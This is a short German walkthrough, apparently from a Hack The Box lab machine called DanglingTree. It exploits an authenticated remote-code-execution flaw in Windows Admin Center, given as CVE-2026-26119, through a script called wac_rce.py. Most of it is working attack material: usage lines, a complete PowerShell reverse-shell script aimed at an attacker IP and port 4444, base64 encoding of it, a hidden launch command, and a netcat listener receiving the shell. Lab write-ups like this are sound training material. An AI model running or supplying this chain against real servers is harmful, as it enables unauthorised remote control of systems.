CVE-2026-26119

WAC RCE - CVE-2026-26119 Windows Admin Center authentifizierte RCE über WinREST/PowerShell invokeCommand.

Verwendung:

    python3 wac_rce.py <user> <pass> "<powershell command>"
    WAC_PASS=<pass> python3 wac_rce.py <user>

Umgebungsvariablen:

    WAC_BASE  - überschreibt die Ziel-Basis-URL (Standard unten)
    WAC_PASS  - Passwort, wird verwendet, wenn nicht positional übergeben

---

┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ python3 wac_rce.py 'anderson.w' 'Password' 'whoami'      
danglingtree\anderson.w

So erhält man die Reverse Shell:

cat > revshell.ps1 << 'EOF'                                      
$client = New-Object System.Net.Sockets.TCPClient('tun0 IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
EOF

cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64

Erstelle einen nc-Listener:

nc -nlvp 4444

python3 wac_rce.py 'anderson.w' 'Password' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"

┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [tun0] from (UNKNOWN) [IP] 54318
$Host.UI.RawUI.WindowTitle = "shell"
PS C:\Users\anderson.w\Documents>